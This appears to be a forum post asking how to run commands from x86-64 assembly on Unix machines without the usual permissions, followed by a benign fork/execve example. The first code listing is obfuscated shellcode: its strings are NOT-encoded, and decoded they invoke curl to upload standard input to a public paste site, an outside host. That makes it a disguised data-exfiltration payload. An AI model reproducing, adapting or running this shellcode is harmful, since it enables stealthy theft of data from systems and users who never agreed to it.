So i was looking into ways to execute things on *Nix boxes without necessarily having the appropriate permissions to do so. I know about `execve` and i can leverage it to do something like this:
global _start
section .text
_start:
push 59
pop rax
cdq
push rdx
mov rbx, 0x6c7275632f6e6962
push rbx
mov rbx, 0x2f7273752f2f2f2f
push rbx
push rsp
pop rdi
push rdx
mov rbx, 0xffffffffffffb9d2
not rbx
push rbx
push rsp
pop r8
push rdx
mov rbx, 0xffffffffffff938d
not rbx
push rbx
mov rbx, 0x8ac28b9e928d9099
not rbx
push rbx
push rsp
pop r9
push rdx
mov rbx, 0xffffffffffffb9d2
not rbx
push rbx
push rsp
pop r10
push rdx
mov rbx, 0xffffffffd8d2c3c2
not rbx
push rbx
mov rbx, 0x8b919a8b91909cd8
not rbx
push rbx
push rsp
pop r11
push rdx
mov rbx, 0xffd0968f9ed0988d
not rbx
push rbx
mov rbx, 0x90d19a8b8c9e8f9b
not rbx
push rbx
mov rbx, 0xd0d0c58c8f8b8b97
not rbx
push rbx
push rsp
pop r12
push rdx
push rsp
pop rdx
push r12
push r11
push r10
push r9
push r8
push rdi
push rsp
pop rsi
syscall
And that's fine. But `execve` is a one off. At least as far as i understand it. And at least as far as it is used in my example above.
So i started reading, and i read you could start a shell script with environment variables from your Asm program which was pretty cool. Something like this.
bits 64
[list -]
%include "unistd.inc"
[list +]
section .data
filename: db "test.sh",0
.len: equ $-filename
;... put more arguments here
envp1: db "TESTVAR=123456",0
;... put more environment paraters here
argvPtr: dq filename
; more pointers to arguments here
dq 0 ; terminate the list of pointers with 0
envPtr: dq envp1
dq 0
forkerror: db "fork error",10
.len: equ $-forkerror
execveerror: db "execve error(not expected)",10
.len: equ $-execveerror
wait4error: db "wait4 error",10
.len: equ $-wait4error
section .text
global _start
_start:
syscall fork
and rax,rax
jns .continue
syscall write,stderr,forkerror,forkerror.len
jmp .exit
.continue:
jz .runchild
; wait for child to terminate
syscall wait4, 0, 0, 0, 0
jns .exit
syscall write,stderr,wait4error,wait4error.len
jmp .exit
.runchild:
syscall execve,filename,argvPtr,envPtr
jns .exit
syscall write,stderr,execveerror,execveerror.len
.exit:
syscall exit,0
But then i came across an example that kind of blew my mind. I'll post it below in spoiler tags because it's long. But basically they're starting a terminal and from the program are having the commands they define be executed in that terminal. So does that mean i can basically just write a shell script within an Asm program, invoke a terminal and execute whatever i want?
Thoughts?